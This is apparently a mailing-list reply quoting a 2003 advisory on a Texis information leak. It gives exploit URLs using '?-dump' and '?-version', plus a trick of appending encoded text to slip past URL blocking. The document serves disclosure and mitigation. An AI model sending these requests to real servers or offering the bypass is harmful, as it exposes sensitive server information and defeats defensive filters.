> //@(#) Mordred Security Labs advisory > > Release date: March 15, 2003 > Name: Texis sensitive information leak > Versions affected: all versions > Risk: average > Author: Sir Mordred ([EMAIL PROTECTED], http://mslabs.iwebland.com)
> III. Exploit: > > http://victim.com/texis.exe/?-version > http://victim.com/texis.exe/?-dump Please note that simply blocking URL's ending in "?-dump" and "?-version" won't work. You can append a space and additional text, such as: http://www.example.org/cgi-bin/texis.exe?-dump%20kjshkjhskjsh.html I didn't bother to test any other special characters or encoding (i.e. UNICODE), I suspect there may be other ones that can be used. Kurt Seifried, [EMAIL PROTECTED] A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 http://seifried.org/security/
